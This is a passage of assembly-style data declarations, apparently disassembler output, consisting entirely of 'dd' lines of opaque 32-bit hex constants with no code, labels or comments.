		dd 1C7F9C54h, 0F48725DDh, 66514117h, 88457A87h,	1C04597Dh
		dd 68AC107Fh, 0F898DC82h, 0AD41DCF6h, 0B4D40C55h, 88B0E7Fh
		dd 7E8F7C4Ah, 0AB56A860h, 53026602h, 4F281051h,	5425607Dh
		dd 2D630B71h, 1CFAC1B1h, 0A040C42Fh, 0FD2847E4h, 0D173BBh
		dd 0F688D26Ch, 0F5B3133Bh, 6C0BCC4Eh, 0AD0459CFh, 750AECE0h
		dd 7A665A1Fh, 203A1021h, 9A5317E9h, 7D4C07E5h, 0B6FA60A5h
		dd 310742ACh, 87FBF722h, 520E5400h, 47FF000Dh, 93EA69A1h
		dd 0C11C926Eh, 1B406F9Eh, 0A454BC3h, 52C701DBh,	0F342C19h
		dd 207F1Ah, 19BE6D8h, 33C91DD0h, 0D487CE99h, 149FBCF7h
		dd 0B0D51CD4h, 0B6788083h, 0AD617048h, 95D61000h, 0D3CFBF27h
		dd 7D790673h, 60EAC03Bh, 9E349050h, 0C6006CF2h,	0B803ECB6h
		dd 5F3EA389h, 38702019h, 0A503799Ah, 0D4F37A23h, 75D805A8h
		dd 0A810CE9Dh, 0DE0E8010h, 5BA5FA18h, 8574D15Ch, 3104FDB9h
		dd 0B3EAC0CCh, 183A8D00h, 1FBCAEB1h, 8BB20782h,	0F38479D6h
		dd 0E9E826CBh, 5E046603h, 96ACCFFh, 30144081h, 0AE1E2282h
		dd 0D0809B13h, 27E9450Fh, 0F7AC9E00h, 0E36A7DEBh, 5790798h
		dd 900FB5F4h, 759E31EDh, 0ABE8A41Dh, 0A651053Bh, 0CAC180Eh
		dd 120968Eh, 504EC566h,	0B0175E00h, 293E4295h, 0E41507D4h
		dd 80BBF492h, 0E34E2756h, 0F9917503h, 0E0FFED70h, 3B773806h
		dd 7DA5076Dh, 15E0C0EBh, 0F33A5B5Dh, 88D92A85h,	0DB972E00h
		dd 89B9281h, 537E12D1h,	4CB943h, 0CD9C2957h, 99A1E0h, 882822BCh
		dd 0EE4F3A26h, 75CE5C00h, 4CED0B5Bh, 0D58D0603h, 100486A9h
		dd 0A1048752h, 11805075h, 5AFD990Bh, 4702774Dh,	0E93593D6h
		dd 239840EFh, 0CB2E00BDh, 9E240967h, 87002592h,	0B14BD6A8h
		dd 738F03CDh, 70ED00DBh, 0F3118493h, 430EE535h,	0A0590A0Eh
		dd 0BE1844F2h, 0DB38007Ch, 0D391CE68h, 0D7E86B7Fh, 3E632F0Eh
		dd 0EE4D4113h, 42E876EFh, 0F69E76A7h, 2719007Ch, 9303615Dh
		dd 0F3F6D15h, 7A3003A4h, 0D0A52151h, 75323Ch, 763F336Bh
		dd 2E7B7460h, 5C277300h, 947C4649h, 0FBBF281h, 0EE5EB7DFh
		dd 40988AE0h, 0FD1D50A4h, 9D8047E7h, 0CCEB642Ch, 357D41h
		dd 0D0A8F613h, 0D9CA897Bh, 7843BE39h, 9E00D575h, 0C71C1128h
		dd 5533F7h, 9351B5F6h, 16F06658h, 97007872h, 337E15Fh
		dd 6E0A8Eh, 57A2597Ah, 920DDF3Ah, 0F7B31903h, 17905DDBh
		dd 0FB9A539h, 43C1299Ch, 0C2316862h, 21C8D085h,	5099A298h
		dd 0F318AE8Ch, 2F6CA801h, 4DDC76FEh, 0E701EC50h, 50145832h
		dd 2DC52400h, 1AEE1D58h, 0B5CF4100h, 906C776h, 0E74B07F6h
		dd 9005E8CEh, 0CADCEA23h, 0B7409901h, 0C8C994E9h, 3E89C0ECh
		dd 790F73F8h, 8E6CCCB9h, 670011ACh, 0D7502AF7h,	2F2C43h
		dd 0C4DFBF8Ah, 35CEB845h, 5F6BC701h, 0A682C049h, 7502A840h
		dd 6AAF0347h, 5987A401h, 0DF4AF803h, 0E7CD42D2h, 79715180h
		dd 724E0733h, 0F75D199Dh, 0BA6AB4h, 0F78B760h, 0FA1FEA89h
		dd 0BA8E22E7h, 0FDC8C75Fh, 6016E152h, 4C6E9Fh, 5E5A3EB2h
		dd 0CCA08A04h, 4A13D31Fh, 3479E7C0h, 0CDD44h, 99B626D5h
		dd 0A0A27C1Ah, 7E007378h, 10B1E224h, 2E2F20FAh,	18EAD92h
		dd 9A08D86Eh, 6A020F2h,	40A60703h, 0E89DDAABh, 47F5E0h
		dd 0E2F9257Ch, 4A20F241h, 615F7100h, 8B777328h,	0C4620053h
		dd 0DCDEA43Fh, 7A030E83h, 45122226h, 2CEE801Bh,	0B5550067h
		dd 0BC1EF8F5h, 4D004C21h, 0CDC52934h, 7430FBEh,	375CF612h
		dd 35D786h, 0B84409C8h,	7BF1263Fh, 3D56804h, 89399F9h
		dd 949901D1h, 92F3C4BCh, 0AC56C4BDh, 0C227E507h, 0D32044BFh
		dd 77B1D0h, 5B634266h, 492EA15Fh, 1FCA7800h, 0B6729CE7h
		dd 7FA1A1D4h, 7682DC50h, 0A00800B3h, 0EEF680F8h, 4E002023h
		dd 0DC2C4BE7h, 0A0A55296h, 616EFCh, 0F5D9F443h,	0DAB998BBh
		dd 0A4A81464h, 0CA0048C9h, 40BC2AEh, 0FEE21DEFh, 2D8C90ADh
		dd 99009CF9h, 50732423h, 84FFC5h, 8FE82144h, 0D2B52F85h
		dd 37C0C100h, 1B6035A7h, 87B4007Ch, 1ED6E6E8h, 33007820h
		dd 4998C2D5h, 317F70h, 0BEB88AA0h, 0A4D6F81Ah, 4A8ECF0Bh
		dd 902980CEh, 0A0F30Dh,	0AC595DDFh, 66DC4091h, 1586FB00h
		dd 5A76F1CBh, 0AF89003Fh, 0EEC58763h, 20000405h, 61CED7Fh
		dd 0F501B8h, 0BCC9F19Bh, 25EC2CEFh, 0BA45C600h,	1B75873Ah
		dd 4DF60050h, 6B67D459h, 0B51680FDh, 0B200513Fh, 1AD10711h
		dd 0A7F27Dh, 0AC57E6E5h, 9B60BD2h, 2B91F500h, 3AB9519Fh
		dd 3D0A3DC4h, 0D3A4D980h, 401ACF1Ch, 44C07100h,	335C7F11h
		dd 96930257h, 4A9E09F2h, 6C21B880h, 0A6006FCFh,	885D250h
		dd 17C0CEBh, 60DC59BDh,	475E27BFh, 1480C9C0h, 0D2010849h
		dd 3EEBAE58h, 0E97D0068h, 0B5C9C62Ch, 107E48A1h, 60715800h
		dd 3744D63Fh, 73A30A00h, 49E03F6h, 301C585Eh, 6B3F007Bh
		dd 0AE7F2643h, 510164CBh, 0BA279C79h, 0F6E81DC7h, 0B6154861h
		dd 403A7639h, 4FED9780h, 11D2DEE1h, 9E9C6950h, 268DBB00h
		dd 76CF43E8h, 6ACD585Eh, 0B6A4C938h, 0AE4980D4h, 0F79CACC4h
		dd 0F80CD400h, 0B50F3286h, 995A0073h, 71284943h, 0A81FEBF6h
		dd 9A06F181h, 198258h, 25E92A36h, 13E11E0Dh, 0A6B0FC00h
		dd 0B733C6E8h, 69560152h, 8577DD2h, 28406430h, 3924848h
		dd 0E4E0D947h, 6A0CE958h, 1F1C824h, 371C64BCh, 0E5C0F932h
		dd 0C39820E8h, 0DDC68F00h, 9C283157h, 0AAD10F1Ch, 0D82EEDCEh
		dd 7A545DC0h, 7E019B1Ah, 0B6FD48BDh, 0E430F3ABh, 0A36900DCh
		dd 34465BC2h, 0AD00164Fh, 0EBDFA57Eh, 1EEF68DAh, 0C13B0991h
		dd 7AB4CBE0h, 0DA3021ACh, 0DF502840h, 215EDA17h, 0BD6FA700h
		dd 7595340h, 3C5D63D2h,	417F0186h, 0C055EAA7h, 0A8DBC6h
		dd 69541B31h, 972DFB9Ch, 8E44D301h, 30C22241h, 0C665C140h
		dd 383E00BEh, 3AD3357Ah, 4901C37Fh, 309B9BCh, 0D8C7E272h
		dd 7B7F4BEh, 7E3E9706h,	0B5EC3043h, 0A000708h, 0DE621B4Bh
		dd 165632CAh, 1115F50h,	41977894h, 3DAEC88Ch, 0FF4D5D01h
		dd 47150996h, 1B26AC81h, 74D30F85h, 3005344h, 0E8802CFEh
		dd 3A9514Ch, 8EF44764h,	67CA4E14h, 532FCDC0h, 0A9ACEA26h
		dd 89C3F103h, 72DC00E9h, 5065CAB3h, 1F1C9C43h, 37807A40h
		dd 250FBFE0h, 130A039Fh, 0F906EBEEh, 4100D2ABh,	0A7A4BBE7h
		dd 90DD2F0Eh, 0C6D70BA4h, 0DCA073F9h, 47BDFC6Ah, 93F0AA00h
		dd 0E7F4B9BAh, 0F9CA0EA1h, 0D08066E4h, 0DFDE5DF3h, 7F34CB5Ch
		dd 0ED4DC300h, 484DAEAh, 0D47BA8h, 1821B107h, 0CDD27943h
		dd 0AC92CB98h, 400BDAE2h, 878EF7F8h, 0F541E7F2h, 9020B1D7h
		dd 0F1A6B0FEh, 4011AEC3h, 0A444A807h, 0C38E00FFh, 0B9E3C59Fh
		dd 2B001B44h, 0D340EC1Ah, 311064Ah, 82BB857Ah, 0B4881CF4h
		dd 9B0B48FBh, 0AE412981h, 4955E048h, 71AE0Eh, 525BFE9h
		dd 854E5920h, 726DC300h, 47C0AB7Bh, 107D06h, 0F44587E4h
		dd 0BA014D13h, 0AE73D500h, 0A99AB0C7h, 0A87AF46Dh, 5DFE0A0h
		dd 4F05A58Eh, 0D42490E9h, 8076C2Ch, 685697C6h, 0E28420EFh
		dd 1DBA4BEFh, 0DCCD13h,	830345FEh, 0F1B84E0Ah, 2C0199F4h
		dd 80E2B75Eh, 0F96038FCh, 0F2580066h, 0E6EF502Eh, 0D02EF061h
		dd 3200D284h, 0C5499985h, 7C7F00F2h, 0AFCDEA09h, 5A004C46h
		dd 2FD83972h, 55CF6Bh, 8AA723E6h, 0F2AA1044h, 0C1D17530h
		dd 2F6A567h, 760F1E24h,	0C850CFC1h, 0D8540C00h,	720A5BABh
		dd 0C3861E07h, 0F0032569h, 0E1A0F90Eh, 0C4007863h, 915DF25Ah
		dd 1F2907FCh, 76088ACh,	5383687Ch, 0D6E1EFEDh, 8A86E079h
		dd 0F6D3E0EFh, 72878B02h, 687C847Fh, 14C1F04Ch,	0AC92AD09h
		dd 39FA3B00h, 4FEBE7C9h, 694A060Dh, 31F0285Ah, 0F819C789h
		dd 755941Ah, 7E777BEDh,	9451A3h, 10F9C968h, 127867E0h
		dd 29D01D06h, 3B8DC3Ch,	704CC786h, 81069384h, 0F779CE2Fh
		dd 984B0358h, 1330C6BEh, 0E6413198h, 84F218C7h,	0B8087E1h
		dd 0F0FD1CFCh, 5C5D00B0h, 67CFA0Ah, 5776D5CDh, 500C959h
		dd 9509F87Fh, 0A7744803h, 113E2ADh, 40923421h, 0C12E8098h
		dd 0CBC89560h, 14FBFCC7h, 74F1B131h, 0E9509F1h,	7DB3EA01h
		dd 2083EC68h, 0F97FD53Ch, 0F0CC50EDh, 18CF89ABh, 758484B5h
		dd 31157E1Fh, 10CD09Dh,	0D81889CCh, 9395F110h, 14F90F05h
		dd 87A005F3h, 799C0039h, 0EE7A29F0h, 0E53C21C4h, 872C3015h
		dd 0DE9F06A2h, 0E4001106h, 794F08A7h, 327AA141h, 0F308A980h
		dd 9FCB98A0h, 0FD03EC08h, 0C20E5D0Fh, 54EFF807h, 0B4535070h
		dd 4A4D185Bh, 8D043118h, 0ADB38600h, 89AE8F5h, 881666Ch
		dd 0A80121DFh, 6963B39Eh, 642057C1h, 0B8A4AB48h, 0ECAB4028h
		dd 7B903009h, 9BF299F0h, 0AB0458A4h, 0A1791B08h, 0A301C738h
		dd 0C594D408h, 28309311h, 0D561C14Fh, 41898429h, 0D509072Ch
		dd 7E9040E3h, 0EA01702Dh, 0D3B1FAC2h, 40D64635h, 4DA4D8h
		dd 0D9234C97h, 14503FC8h, 9D008C7Eh, 0B7E99A94h, 58DB382h
		dd 0F92043E4h, 5BEE00BEh, 0DF3BB4F6h, 0A2BDB901h, 0EDE707C3h
		dd 3B5ECh, 98298017h, 0D93147E8h, 0F327B200h, 9AFE1EB0h
		dd 3EFEE5Dh, 0C51454E4h, 0DEE05CEBh, 221A79E7h,	3D314B26h
		dd 0E3990604h, 0BF001050h, 19D03BBCh, 1F1A3562h, 80416837h
		dd 9928A50Eh, 0D106E325h, 3EF9BFA3h, 8B2BF029h,	31220D92h
		dd 0C2F522E0h, 4B21CD24h, 104D1206h, 0E989C011h, 7449E08h
		dd 0C0228459h, 0B308FB39h, 84750544h, 42C41D22h, 0B3E1181h
		dd 0FFA887Ah, 3B2B2D00h, 68E4F24Bh, 7ABC008Bh, 3D0B6C26h
		dd 0D70798A2h, 94690F01h, 60038C90h, 0BEC400AFh, 8E30EFEAh
		dd 680B27B4h, 0D52056h,	9A7E5F27h, 0A87C51h, 628731E1h
		dd 0C9A6EB88h, 47E66100h, 2998E546h, 694C0030h,	0CA9B504Ah
		dd 36036440h, 0A009DD4Bh, 18AE91h, 0F5723E6Ah, 0FAE684ADh
		dd 0EB310700h, 0CAF44429h, 41AC3C03h, 0A22F4804h, 396F8612h
		dd 3A7A2700h, 2D65A98Eh, 9C28007Fh, 4962E97Eh, 0B358D439h
		dd 6016008Ah, 0E188B517h, 54CC00D2h, 68C88795h,	0D01F7A5h
		dd 59696D4Eh, 0F6FC2DBAh, 0DE340002h, 0C9D77025h, 0CD0FEDADh
		dd 613118h, 7F8AA30Fh, 0B0440497h, 91FEE5C4h, 0C0DA8150h
		dd 3001312h, 0D1304F56h, 6BF636h, 357145B3h, 0B5B225B8h
		dd 50313803h, 901EBD4Ah, 301F89AAh, 9B603D2Fh, 66009306h
		dd 0FD4617F5h, 1F6387Dh, 0EF4EA2C7h, 0FCCEF8E2h, 0F007B787h
		dd 25A88F88h, 48E590B2h, 1E3E774h, 0EF126AE9h, 0E40A4D59h
		dd 0D6003965h, 66454AC3h, 179E3h, 0B477A681h, 6CFFB714h
		dd 9031A8A8h, 6594AF00h, 0F5ED1A5Ch, 27BA00FEh,	8350FD61h
		dd 2600E45Dh, 19753190h, 3DB22CD1h, 4F1F2499h, 6ED5400Bh
		dd 0DDD05D05h, 0AD3B0600h
		dd 0F37B0934h, 5CE2007Eh, 0AA3EC35Ah, 0DF000D1Ch, 84894036h
		dd 108BE86h, 72BB44E8h,	0D882F37Eh, 4E007F25h, 53A5F0EAh
		dd 9A648Eh, 59BCFA1Bh, 0ECA4958Ah, 7F00C6F6h, 0B0A8D28Dh
		dd 1AE6F1Fh, 27A702Fh, 0EC331DBDh, 14713D15h, 4B86C71Dh
		dd 80A76449h, 940B65C3h, 0E0280088h, 0C02D62F7h, 14132E46h
		dd 14003E70h, 0D780EB9Eh, 762C01D8h, 200F0D81h,	0EF662026h
		dd 7C71E900h, 0E554ADBBh, 0E19F043Bh, 80CA87DFh, 94F38F2Ch
		dd 345BFB00h, 217FC3CDh, 62992498h, 0C7B5009Ch,	0CBADE2B3h
		dd 8E8C6E00h, 38F730A2h, 6AA500CEh, 0C0955FABh,	0A4002AFEh
		dd 0C28271FCh, 498524h,	5008B8A9h, 6EB55387h, 0A8894100h
		dd 83EB7268h, 540E0F58h, 38A1F4C0h, 2063CCAEh, 6B03F364h
		dd 533723BEh, 0FE93C060h, 46DA009Bh, 75B9A60Ah,	1903EA40h
		dd 185E4EA3h, 0A4D8E842h, 5FBA00C5h, 0BB16C84Bh, 494D8AC4h
		dd 0E63A12A8h, 0F5E5FC00h, 36A3F01h, 0FB88E390h, 11F8526Eh
		dd 0B84CBE85h, 416005ABh, 0FC402257h, 2510389Ch, 0E88090E5h
		dd 772A0EEFh, 0F3A02D8Dh, 62A003FBh, 4F00EE76h,	92AF42C7h
		dd 2F102167h, 1C7843E5h, 9D3D7D00h, 459530A8h, 4384875h
		dd 96E2FC0Eh, 0ACBA81E0h, 260272A1h, 5B9CFDCDh,	9A16E015h
		dd 0C0626063h, 0CF33D556h, 0DF1058h, 3F5BE78Ah,	19AE60h
		dd 6EF2210Ch, 0B568ECE0h, 0B3E9981Ch, 5C2FFC40h, 0A32DF3h
		dd 0E543661Fh, 6BC8EE7h, 0E9016970h, 5B854EEDh,	66D8E3C5h
		dd 0CA47026Ah, 0E2ADC21Eh, 54FD9890h, 42790378h, 0A000B9FCh
		dd 245696DCh, 0C816B2h,	0F96152AEh, 8D46441Ch, 989E9A00h
		dd 3956A56Dh, 1E592ED2h, 0F5A80088h, 999F0BD7h,	0DF17B300h
		dd 9A8B0EA4h, 6DD500EBh, 0E1458D8Eh, 0F37BC53Ch, 4B7F93EEh
		dd 189A8CEAh, 660B2D00h, 8FF6509Eh, 5B8D00FCh, 0B8222EE3h
		dd 3D0087CEh, 91B79A53h, 26CC93Ch, 3D5344Fh, 58601FD3h
		dd 0D009B156h, 756307EEh, 0CA825680h, 1E6115C4h, 7D982220h
		dd 0EF678C43h, 6814E0C2h, 4DB05898h, 81403C84h,	0FF6A099Dh
		dd 5801FEEEh, 20E89020h, 470FC7D4h, 60CA3898h, 8DFE7B11h
		dd 79AA3AE3h, 0D337006h, 460E24A4h, 20ED5F19h, 73A625FCh
		dd 5E70D7h, 59F31AADh, 9C3C2A17h, 51FF1F03h, 0B018E9F9h
		dd 0F835Ch, 0C344256Ah,	8BC74D75h, 74CCBE00h, 15FEDAD7h
		dd 3E050056h, 0BD192C0Fh, 3F0C415Bh, 0C81E7422h, 0ED363E87h
		dd 0B4E2D200h, 8076C320h, 0B1E59903h, 18222ABCh, 0C8C6ECD0h
		dd 809050C9h, 4DB58B09h, 0C1EC87E8h, 3ADEF490h,	485F7A63h
		dd 15008EF8h, 0D4B9AC3Ch, 0AF1FD762h, 77C0EE43h, 5C483A1h
		dd 15C492C5h, 0A47DB0E1h, 0EDC89C00h, 87E06832h, 7A0048B1h
		dd 9A541F0Dh, 0D5370148h, 0CB92C22Eh, 20BDD58Ch, 0E2192C50h
		dd 79109B84h, 26E8F7F5h, 0F9A0091h, 5BCE2ACFh, 0BC00BA45h
		dd 0DF924095h, 4C4ED5B4h, 789447h, 0BA585AC7h, 6271CE8Eh
		dd 817B2900h, 0F7647023h, 0B4DE01D6h, 7FEFF82Eh, 83884054h
		dd 0C92CD85Bh, 5F07DDB3h, 0D671E967h, 70C04259h, 0D8D90FB5h
		dd 6B2024CAh, 55CBD3E6h, 5F44960Bh, 2B020027h, 70DD43h
		dd 21056493h, 78594D6h,	0A649FA00h, 1819A1C7h, 0E9E614h
		dd 789F1C35h, 0B189CE01h, 9132AE00h, 6B55D276h,	0E405000Ch
		dd 74563B1Fh, 54035241h, 0E130F9E3h, 6313E842h,	5A94001Ah
		dd 0DDF7605Bh, 93382CA5h, 53B980CDh, 4FAA777Dh,	0A2C8A01Dh
		dd 22FE0219h, 0E1D2D63Ch, 64ABBA60h, 59F47A00h,	2DCB4E05h
		dd 0D95C00C1h, 0A6DFE574h, 981F23F8h, 3CC3B9D0h, 0C8A98F1Bh
		dd 137B8B42h, 0C0DC25h,	9AF512Ch, 0FD136CABh, 0B0001DCFh
		dd 9B660C53h, 0F1B9098Dh, 4004DC1h, 6087843Dh, 1F0A287Dh
		dd 0DF30628Ah, 9C09DC26h, 0FEBC83E4h, 9B86A8F0h, 72D53FBFh
		dd 0D8C96h, 27B05F55h, 4E01F5F6h, 0FD9CF1EBh, 0E82034D4h
		dd 806D002Ch, 352EBD29h, 7C0070EDh, 0A0BB6530h,	0B0955551h
		dd 0D9CF0E7Ch, 3DE199h,	79CC6717h, 0C5005CFDh, 3B7C23A0h
		dd 7E01C1EFh, 377312C7h, 45E001D1h, 0E2E08331h,	7B4F7340h
		dd 0E005AA4Ah, 70806BE1h, 3CD6F61Ah, 0D400049Dh, 973DB582h
		dd 0FD07D771h, 8E9A2E89h, 255C6D31h, 0CB55B860h, 90076341h
		dd 709C71FBh, 0C08047EDh, 6E4F29DFh, 730A1709h,	8C644022h
		dd 628601AEh, 0CCD19E15h, 3EB4246Bh, 0E72BAD07h, 407E85F8h
		dd 0B8373CCFh, 4010095h, 0B9D65A39h, 0CD0070E4h, 9BBBC150h
		dd 7A43414h, 477B25F4h,	0FAD302Fh, 5F0A8F76h, 0ECCBE932h
		dd 98A36D09h, 59DCC4h, 0AE3AF8A9h, 25BC646h, 718520h, 0DA3D9EB0h
		dd 0FFC3A7B3h, 0C700987Dh, 0F2BC2BAFh, 2EDACh, 0F8B0D68Ah
		dd 8F5A364h, 7174AE01h,	7F66CA83h, 478460h, 1E4D3148h
		dd 0F787CF16h, 0F9DCFC50h, 73816000h, 6EE046A7h, 70E0067h
		dd 1A111EA0h, 5B00471Fh, 268408F2h, 73543821h, 6EA800B0h
		dd 91B56ACh, 0C0ED2364h, 51301D58h, 63D158F6h, 8FA065Eh
		dd 9036AB6Dh, 3BC03C02h, 50061D8Bh, 0C92100E0h,	2F180941h
		dd 0C651835Fh, 106BCDDCh, 33FCF25h, 0C55EE33Ah,	0C094B320h
		dd 0C617B524h, 75629702h, 0E032649Ah, 0EC9D8195h, 382B049Bh
		dd 8056CB4Ah, 1FF720E8h, 68EB7900h, 2E069A5Ah, 0A2AD0F83h
		dd 4D000872h, 812BF9C5h, 0B8FA7D00h, 285E06F7h,	9BE20095h
		dd 90709E2Ah, 0AA008822h, 4C023DD7h, 0D67598h, 0ADE185F7h
		dd 0CE0AA4E5h, 7F5C2400h, 41720130h, 0F2C0009Eh, 0F525224Ch
		dd 0AE0334D3h, 0BDDF966h, 0CDFEF81Eh, 6A450094h, 0B8D9CBACh
		dd 0BCB2C51Ch, 8041993Fh, 45951DAh, 3B4C60Dh, 22761B1h
		dd 0FEB0E730h, 0FA3D4B65h, 1F96E116h, 0C0FE4E6Eh, 0BA7B2CC8h
		dd 205C0794h, 0C990B8CDh, 5597FC00h, 0BC0702ECh, 4B0EDF15h
		dd 1326D880h, 147E8Ch, 2CE83754h, 67EE7DB2h, 8980F77h
		dd 711F2600h, 4D3432E0h, 3BA301EDh, 0D57B0BC5h,	9206CC04h
		dd 0C712B978h, 0A11F4E20h, 9128B187h, 34818DD5h, 0ABE44238h
		dd 72F25Bh, 0FBFC746Bh,	58FFD622h, 168C3600h, 35DD386Ch
		dd 6F920B43h, 8609E868h, 7054A287h, 0C2951839h,	87C02C00h
		dd 2EAEB932h, 9D2200CBh, 0FAF973BEh, 0B800D725h, 0B8E77C6h
		dd 7BAAFA4h, 71DADFF2h,	50194098h, 29005D34h, 3004FCE2h
		dd 5CF2A5C2h, 0CD0FA3BBh, 35037605h, 40DABDDDh,	81B42460h
		dd 3608ECB1h, 88E80EDCh, 73E75DE0h, 9C00845Bh, 0EFAC0C2Ch
		dd 0B0A2F018h, 0C6A800B8h, 0BCFE438Bh, 0F3046AA5h, 51D1A4E1h
		dd 8841A4C0h, 0CC4B01h,	0AFA306DCh, 2D168BF7h, 0EC409D9Ch
		dd 0DF32A819h, 27F130D9h, 0BC449078h, 8CD6020Bh, 0F8DC00A6h
		dd 384306h, 9DBB9E63h, 69C4B4ABh, 0A9EC6000h, 4DDE587h
		dd 9E2F0B26h, 0A0807F12h, 9B72FA6Bh, 0BB1BA202h, 0C0AD9463h
		dd 0EC2CBE18h, 0CB9A0049h, 0ACEA0F96h, 0C300D225h, 41936648h
		dd 0F4A12905h, 34A907B2h, 0D3E07F16h, 80BD9950h, 24D8184Ch
		dd 0AE051F00h, 0DE87EE7Ch, 0D38E04ABh, 0C0AD9B5Fh, 2DF1F7E3h
		dd 0AE60B000h, 526582C1h, 0E0B8E350h, 0EB1C00CEh, 7E7A4205h
		dd 8011B103h, 0F860675Dh, 3FE6F5h, 2EE1EBA9h, 5A505FF6h
		dd 0A8379F03h, 0F8F7C1DCh, 730D3Dh, 0BAAA4DCCh,	0C5E4E225h
		dd 423E7C94h, 91146F00h, 0D574E93h, 0F7414A15h,	58C500F8h
		dd 909B2634h, 728B0A80h, 881C02F3h, 4400AC64h, 45290828h
		dd 9B974AAh
		dd 0D9CAFBCCh, 0F3E0C80Fh, 68795EEEh, 5375F000h, 8FEC906Ah
		dd 0B0896C3h, 38209C8Ch, 1382D3A8h, 5E91841h, 0F4407FECh
		dd 173D00B6h, 0DD93EF8Bh, 51013C48h, 1D101FA3h,	0B9ED06B8h
		dd 4AA71870h, 95B8FCh, 28F78F33h, 0F5F5775h, 0B0F916E7h
		dd 353800D6h, 72C674EBh, 9103E0E0h, 3AF04250h, 3313D1B4h
		dd 970020h, 0FD2CC577h,	0C0734C0Fh, 9C94692Ch, 8071803Fh
		dd 0F5854DB7h, 265C0058h, 0A74EA2CCh, 60EDB9E2h, 487FBDC2h
		dd 0A3380C07h, 7B00F61Ch, 7BAC041h, 5C675E53h, 0D91E008Dh
		dd 33007D30h, 87EAA20Ch, 0C7E7A7h, 63C0D8BEh, 0DAAAD78Dh
		dd 0F796B707h, 0BBB02E97h, 0B4912Ch, 0C839EC57h, 10119FE0h
		dd 2061A801h, 9C90C454h, 505CE2C4h, 247AE446h, 388AD8Eh
		dd 0E86475C0h, 0A6FA3C80h, 0BD8AED00h, 825719DEh, 0B3E95088h
		dd 0E0EC0Dh, 6B394B2Eh,	340FB06Fh, 0D700A77Fh, 548555A3h
		dd 3E9A7DAAh, 0E4522BD1h, 0BC089022h, 8147A6B7h, 0B06019Ah
		dd 0C9DAD854h, 88AFFB00h, 61EC71ACh, 8346006Dh,	0E29428B5h
		dd 1738AD7Ch, 8018259Eh, 12545680h, 0FB811297h,	1D40025Ah
		dd 0E481C7D4h, 3D018749h, 56A700F8h, 6046DCE1h,	0C61C006Ch
		dd 0D3576DB3h, 0C0E8FA9h, 0C0CF9B8Ch, 414625A0h, 30BF60D9h
		dd 9E5D8E82h, 0F42A9400h, 0E5B24584h, 0AC0F0F54h, 0A3A09F24h
		dd 2EEED527h, 5001A67Ch, 94F5DC9Dh, 300E63h, 206700F4h
		dd 0B47826BEh, 1700C636h, 9796BFE7h, 5DF6CE34h,	600FC407h
		dd 9205A35h, 7B0C0673h,	4001AF05h, 88C02407h, 1F4E92E2h
		dd 4723ADC8h, 807B7E9Fh, 0F7DD3F19h, 0D23B6700h, 8078C6E0h
		dd 9CD80E26h, 0EFC9E987h, 43054000h, 8903F4C0h,	5575B092h
		dd 9ACDA0C8h, 0F1330F14h, 0D408F5Ch, 2A4F7CACh,	3C343F01h
		dd 7F15DADEh, 3581E0h, 0A1C562A9h, 0BFA87112h, 6B0A0E75h
		dd 0D43E9396h, 58618707h, 0D375071Eh, 0A4905C27h, 5DA0EBh
		dd 304D4214h, 5BC0A382h, 0CBEA240Fh, 0EC19A0C3h, 0BD6C68Ah
		dd 0EE1BAB10h, 0D27AD00h, 0FF03B729h, 4A327A20h, 6B04B8E2h
		dd 0CDED0034h, 525F6EA9h, 364C6F24h, 9F8302C9h,	405B67E0h
		dd 900E2741h, 0E660009Dh, 700618EAh, 581C4C79h,	0C004F8D7h
		dd 78D0BB86h, 90FFF67Bh, 9B4F3D8Fh, 9172680Bh, 0E0436C80h
		dd 2102798Ah, 42BED7A3h, 246C7A25h, 570D10h, 81396920h
		dd 0C4003E14h, 61FC3F92h, 6BFDCE7h, 281EA0C7h, 0AF584037h
		dd 806E0020h, 7FCC5619h, 4F52000Fh, 9027403Ch, 3903375Eh
		dd 0A49C51D7h, 5B94B0F4h, 34413078h, 28E7E9B8h,	0C10E8600h
		dd 17C22B3Ch, 0DF4CC9h,	24C84438h, 81B6621Dh, 0A736374h
		dd 0D486304Ch, 0E58E0200h, 0D1C6A5A2h, 97690B6Eh, 0B880EFD6h
		dd 7326B89Ah, 57035100h, 7F0C27D9h, 0BBEE0210h,	0AB6C4D3Dh
		dd 0D3E9E840h, 80039F8h, 0E0E2E889h, 3042293h, 3E61C94Dh
		dd 0ACA1130Bh, 48B170D1h, 8281380Bh, 29780186h,	9E82245Fh
		dd 710EA169h, 7B494140h, 1E657600h, 0BD011557h,	0A220074h
		dd 0D2FFAB1Dh, 0B60DC89h, 0C1A65818h, 0AF74009Ch, 98614BB9h
		dd 801B041h, 23FFCC9h, 804045C4h, 0C537E2h, 8DE8E3F3h
		dd 5418D1BCh, 640F8302h, 0D8452523h, 51170050h,	1BB4536Ch
		dd 0EC07A638h, 59D782D6h, 90FF8C60h, 14BDF86Fh,	80A0EDCDh
		dd 0F0506901h, 21B131E1h, 4647D4EFh, 5EDA8F02h,	607D957Eh
		dd 71D469B8h, 8BA500FFh, 8A94FE74h, 1E00B50Fh, 6FEF663Fh
		dd 51C18CC8h, 70608858h, 49D702DAh, 81BD19A3h, 9D7E93C0h
		dd 0FE2A6000h, 0D6B463F2h, 374A0093h, 3B4D46D2h, 0C2009920h
		dd 19EA18D3h, 0CE925Ch,	1BB1B94Ch, 77D22ECAh, 4A0539h
		dd 0E9034859h, 4E4BDBh,	227BF399h, 0A9DD2B2Dh, 7700A498h
		dd 42D706D1h, 1F5CF45h,	965B6EA8h, 6C1EA911h, 25D01094h
		dd 5A40BE6Eh, 15732C8Eh, 0E2A20E0Eh, 2FBBC1E1h,	0E0FA6792h
		dd 5831BD40h, 1D3E73D4h, 0FD23C48Bh, 3DCF6C41h,	2BEB00BCh
		dd 630E70B3h, 69F3C48h,	71EA8A84h, 0F8E780D7h, 78009A61h
		dd 4EA0313Dh, 0F03867B6h, 0A7B30074h, 0BFC4F9C9h, 21C03F7Ah
		dd 0D43232Dh, 28E401h, 8DEAF793h, 0A57084ADh, 0C4838E04h
		dd 58E081D7h, 49CCBE6Bh, 64469280h, 2C1F8C78h, 41C0C877h
		dd 0D13E9230h, 7DA7F93h, 0BABEAF09h, 0B85F5024h, 0CA26601Fh
		dd 0DE8BA015h, 510C8004h, 0FAB6D326h, 629B06Eh,	6CF64B91h
		dd 40072196h, 0A192342h, 913D1C70h, 6F790812h, 9F1D0809h
		dd 0E7FE8080h, 9E63F9B7h, 0A9EA804Ch, 3617E81h,	34F08A07h
		dd 2300648Dh, 28E7F3A7h, 0EED0674Bh, 0F8390081h, 959A74AFh
		dd 4200B0DEh, 839753C0h, 2275Dh, 70F8E1B9h, 0A247FD8Dh
